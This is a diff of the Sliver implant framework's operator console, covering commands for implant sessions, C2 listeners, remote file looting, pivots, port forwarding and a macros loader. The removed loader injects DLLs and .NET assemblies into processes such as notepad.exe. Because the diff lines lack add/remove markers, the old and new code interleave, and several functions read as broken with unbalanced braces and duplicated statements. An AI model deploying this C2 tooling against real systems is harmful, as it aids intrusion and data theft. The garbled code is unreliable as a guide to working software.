session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if session != nil {
con.Printf("%d\n", session.PID)
} else if beacon != nil {
con.Printf("%d\n", beacon.PID)
}
con.Printf("%d\n", session.PID)
}
// UIDCmd - Get the active session's UID
func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if session != nil {
con.Printf("%s\n", session.UID)
} else if beacon != nil {
con.Printf("%s\n", beacon.UID)
}
con.Printf("%s\n", session.UID)
}
// GIDCmd - Get the active session's GID
func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if session != nil {
con.Printf("%s\n", session.GID)
} else if beacon != nil {
con.Printf("%s\n", beacon.GID)
}
con.Printf("%s\n", session.GID)
}
// WhoamiCmd - Displays the current user of the active session
func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if session != nil {
con.Printf("%s\n", session.Username)
} else if beacon != nil {
con.Printf("%s\n", beacon.Username)
}
con.Printf("%s\n", session.Username)
}
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Ping %d\n", nonce)
pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
Nonce: int32(nonce),
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+6 -21
View File
@@ -20,7 +20,6 @@ package jobs
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -32,29 +31,15 @@ func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domain := ctx.Flags.String("domain")
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
disableOTP := ctx.Flags.Bool("disable-otp")
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
Domain: domain,
Website: ctx.Flags.String("website"),
Host: lhost,
Port: uint32(lport),
Secure: false,
Persistent: ctx.Flags.Bool("persistent"),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+9 -25
View File
@@ -21,7 +21,6 @@ package jobs
import (
"context"
"io/ioutil"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -35,18 +34,6 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
disableOTP := ctx.Flags.Bool("disable-otp")
longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -56,18 +43,15 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
Domain: domain,
Website: website,
Host: lhost,
Port: uint32(lport),
Secure: true,
Cert: cert,
Key: key,
ACME: ctx.Flags.Bool("lets-encrypt"),
Persistent: ctx.Flags.Bool("persistent"),
})
con.Println()
if err != nil {
-97
View File
@@ -1,97 +0,0 @@
package kill
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// KillCmd - Kill the active session (not to be confused with TerminateCmd)
func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
// Confirm with the user, just in case they confused kill with terminate
confirm := false
promptSession := &survey.Confirm{Message: "Kill the active session?"}
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
if session != nil {
survey.AskOne(promptSession, &confirm, nil)
if !confirm {
return
}
err := KillSession(session, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
}
if beacon != nil {
survey.AskOne(promptBeacon, &confirm, nil)
if !confirm {
return
}
err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
con.ActiveTarget.Background()
return
}
con.PrintErrorf("No active session or beacon\n")
return
}
func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
if session == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
SessionID: session.ID,
},
Force: force,
})
return err
}
func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
if beacon == nil {
return errors.New("session does not exist")
}
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
Request: &commonpb.Request{
BeaconID: beacon.ID,
},
Force: force,
})
return err
}
+1 -1
View File
@@ -46,7 +46,7 @@ func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if filter == "" {
allLoot, err = con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Failed to fetch loot %s\n", err)
con.PrintWarnf("Failed to fetch loot %s\n", err)
return
}
} else {
+2 -2
View File
@@ -33,7 +33,7 @@ import (
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -60,7 +60,7 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: remotePath,
})
if err != nil {
-4
View File
@@ -1,4 +0,0 @@
Macros
===========
Wraps external DLLs/tool in Sliver console commands.
-335
View File
@@ -1,335 +0,0 @@
package macros
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]macro
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type macroFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type macroCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
MacroFiles []macroFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type macro struct {
Name string `json:"macroName"`
Commands []macroCommand `json:"macroCommands"`
Path string
}
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.MacroFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
case "x64":
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
}
return
}
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no macro command found for name %s", name)
return
}
// LoadMacroCmd - Locally load a macro into the Sliver shell.
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
// retrieve macro manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
con.PrintErrorf("%s\n", err)
}
// parse it
ext := &macro{}
err = json.Unmarshal(jsonBytes, ext)
if err != nil {
con.PrintErrorf("Error loading macro: %v", err)
return
}
ext.Path = dirPath
// for each macro command, add a new app command
for _, extCmd := range ext.Commands {
// do not add if the command already exists
if cmdExists(extCmd.Name, ctx.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
return
}
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
// Have to use a global map here, as passing the extCmd
// either by value or by ref fucks things up
commandMap[extCmd.Name] = *ext
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
macroCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runMacroCommand(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
if extCmd.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
}
f.String("p", "process", "", "Path to process to host the shared object")
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
},
HelpGroup: consts.MacroHelpGroup,
}
con.App.AddCommand(macroCmd)
}
con.PrintInfof("%s macro has been loaded\n", ext.Name)
}
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
}
}
return false
}
func init() {
commandMap = make(map[string]macro)
}
+17 -69
View File
@@ -20,74 +20,37 @@ package network
import (
"context"
"fmt"
"sort"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// IfconfigCmd - Display network interfaces on the remote system
func IfconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
ifconfig, err := con.Rpc.Ifconfig(context.Background(), &sliverpb.IfconfigReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
all := ctx.Flags.Bool("all")
if ifconfig.Response != nil && ifconfig.Response.Async {
con.AddBeaconCallback(ifconfig.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ifconfig)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintIfconfig(ifconfig, all, con)
})
con.PrintAsyncResponse(ifconfig.Response)
} else {
PrintIfconfig(ifconfig, all, con)
}
}
// PrintIfconfig - Print the ifconfig response
func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverConsoleClient) {
var err error
interfaces := ifconfig.NetInterfaces
sort.Slice(interfaces, func(i, j int) bool {
return interfaces[i].Index < interfaces[j].Index
})
hidden := 0
for index, iface := range interfaces {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableWithBordersStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, iface.Name))
tw.SetColumnConfigs([]table.ColumnConfig{
{Name: "#", AutoMerge: true},
{Name: "IP Address", AutoMerge: true},
{Name: "MAC Address", AutoMerge: true},
})
rowConfig := table.RowConfig{AutoMerge: true}
tw.AppendHeader(table.Row{"#", "IP Addresses", "MAC Address"}, rowConfig)
macAddress := ""
for ifaceIndex, iface := range ifconfig.NetInterfaces {
con.Printf("%s%s%s (%d)\n", console.Bold, iface.Name, console.Normal, ifaceIndex)
if 0 < len(iface.MAC) {
macAddress = iface.MAC
con.Printf(" MAC Address: %s\n", iface.MAC)
}
ips := []string{}
for _, ip := range iface.IPAddresses {
// Try to find local IPs and colorize them
subnet := -1
if strings.Contains(ip, "/") {
@@ -98,30 +61,15 @@ func PrintIfconfig(ifconfig *sliverpb.Ifconfig, all bool, con *console.SliverCon
subnet = -1
}
}
if 0 < subnet && subnet <= 32 && !isLoopback(ip) {
ips = append(ips, fmt.Sprintf(console.Bold+console.Green+"%s"+console.Normal, ip))
} else if all {
ips = append(ips, fmt.Sprintf("%s", ip))
con.Printf(console.Bold+console.Green+" IP Address: %s%s\n", ip, console.Normal)
} else if 32 < subnet && !isLoopback(ip) {
con.Printf(console.Bold+console.Cyan+" IP Address: %s%s\n", ip, console.Normal)
} else {
con.Printf(" IP Address: %s\n", ip)
}
}
if !all && len(ips) < 1 {
hidden++
continue
}
if 0 < len(ips) {
for _, ip := range ips {
tw.AppendRow(table.Row{iface.Index, ip, macAddress}, rowConfig)
}
} else {
tw.AppendRow(table.Row{iface.Index, " ", macAddress}, rowConfig)
}
con.Printf("%s\n", tw.Render())
if index+1 < len(interfaces) {
con.Println()
}
}
if !all {
con.Printf("%d adapters not shown.\n", hidden)
}
}
+25 -61
View File
@@ -22,20 +22,17 @@ import (
"context"
"fmt"
"net"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"google.golang.org/protobuf/proto"
)
// NetstatCmd - Display active network connections on the remote system
func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -45,11 +42,8 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tcp := ctx.Flags.Bool("tcp")
udp := ctx.Flags.Bool("udp")
implantPID := getPID(session, beacon)
activeC2 := getActiveC2(session, beacon)
netstat, err := con.Rpc.Netstat(context.Background(), &sliverpb.NetstatReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
TCP: tcp,
UDP: udp,
Listening: listening,
@@ -60,22 +54,10 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
if netstat.Response != nil && netstat.Response.Async {
con.AddBeaconCallback(netstat.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, netstat)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintNetstat(netstat, implantPID, activeC2, con)
})
con.PrintAsyncResponse(netstat.Response)
} else {
PrintNetstat(netstat, implantPID, activeC2, con)
}
displayEntries(netstat.Entries, con)
}
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
func displayEntries(entries []*sliverpb.SockTabEntry, con *console.SliverConsoleClient) {
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
const IPv4Strlen = 17
addr := skaddr.Ip
@@ -89,48 +71,30 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Protocol", "Local Address", "Foreign Address", "State", "PID/Program name"})
for _, entry := range netstat.Entries {
pid := ""
if entry.Process != nil {
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
con.Printf("Proto %-23s %-23s %-12s %-16s\n", "Local Addr", "Foreign Addr", "State", "PID/Program name")
session := con.ActiveSession.GetInteractive()
for _, e := range entries {
p := ""
if e.Process != nil {
p = fmt.Sprintf("%d/%s", e.Process.Pid, e.Process.Executable)
}
srcAddr := lookup(entry.LocalAddr)
dstAddr := lookup(entry.RemoteAddr)
if entry.Process != nil && entry.Process.Pid == implantPID {
tw.AppendRow(table.Row{
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
fmt.Sprintf(console.Green+"%s"+console.Normal, srcAddr),
fmt.Sprintf(console.Green+"%s"+console.Normal, dstAddr),
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.SkState),
fmt.Sprintf(console.Green+"%s"+console.Normal, pid),
})
srcAddr := lookup(e.LocalAddr)
dstAddr := lookup(e.RemoteAddr)
if e.Process != nil && e.Process.Pid == session.PID && isSliverAddr(dstAddr, con) {
con.Printf("%s%-5s %-23.23s %-23.23s %-12s %-16s%s\n",
console.Green, e.Protocol, srcAddr, dstAddr, e.SkState, p, console.Normal)
} else {
tw.AppendRow(table.Row{entry.Protocol, srcAddr, dstAddr, entry.SkState, pid})
con.Printf("%-5s %-23.23s %-23.23s %-12s %-16s\n",
e.Protocol, srcAddr, dstAddr, e.SkState, p)
}
}
con.Printf("%s\n", tw.Render())
}
func getActiveC2(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.ActiveC2
func isSliverAddr(dstAddr string, con *console.SliverConsoleClient) bool {
parts := strings.Split(dstAddr, ":")
if len(parts) != 3 {
return false
}
if beacon != nil {
return beacon.ActiveC2
}
return ""
}
func getPID(session *clientpb.Session, beacon *clientpb.Beacon) int32 {
if session != nil {
return session.PID
}
if beacon != nil {
return beacon.PID
}
return -1
c2Addr := strings.Split(con.ActiveSession.GetInteractive().ActiveC2, "://")[1]
return strings.Join(parts[:2], ":") == c2Addr
}
+39 -15
View File
@@ -19,15 +19,17 @@ package operators
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// OperatorsCmd - Display operators and current online status
@@ -43,24 +45,46 @@ func OperatorsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func displayOperators(operators []*clientpb.Operator, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name",
"Status",
})
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Operator\tStatus\t")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("Operator")),
strings.Repeat("=", len("Status")),
)
colorRow := []string{"", ""} // Two uncolored rows for the headers
for _, operator := range operators {
tw.AppendRow(table.Row{
console.Bold + operator.Name + console.Normal,
status(operator.Online),
})
// This is the CA, but I guess you could also name an operator
// "multiplayer" and it'll never show up in the list
if operator.Name == "multiplayer" {
continue
}
fmt.Fprintf(table, "%s\t%s\t\n", operator.Name, status(operator.Online))
if operator.Online {
colorRow = append(colorRow, console.Bold+console.Green)
} else {
colorRow = append(colorRow, "")
}
}
table.Flush()
lines := strings.Split(outputBuf.String(), "\n")
for lineNumber, line := range lines {
if len(line) == 0 {
continue
}
con.Printf("%s%s%s\n", colorRow[lineNumber], line, console.Normal)
}
con.Printf("%s\n", tw.Render())
}
func status(isOnline bool) string {
if isOnline {
return console.Bold + console.Green + "Online" + console.Normal
return "Online"
}
return console.Bold + console.Red + "Offline" + console.Normal
return "Offline"
}
+2 -2
View File
@@ -10,7 +10,7 @@ import (
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -28,7 +28,7 @@ func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
PipeName: pipeName,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -44,7 +44,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
printPivots(session, int64(timeout), con)
} else {
session := con.ActiveTarget.GetSession()
session := con.ActiveSession.Get()
if session != nil {
printPivots(session, int64(timeout), con)
} else {
+2 -2
View File
@@ -11,7 +11,7 @@ import (
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -22,7 +22,7 @@ func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
Address: address,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -31,7 +31,7 @@ import (
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -1,4 +0,0 @@
Prelude Operator
=================
Connection code for [Prelude Operator](https://www.prelude.org/)
@@ -1,63 +0,0 @@
package operator
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/prelude"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
url := ctx.Args.String("connection-string")
aesKey := ctx.Flags.String("aes-key")
agentRange := ctx.Flags.String("range")
skipExisting := ctx.Flags.Bool("skip-existing")
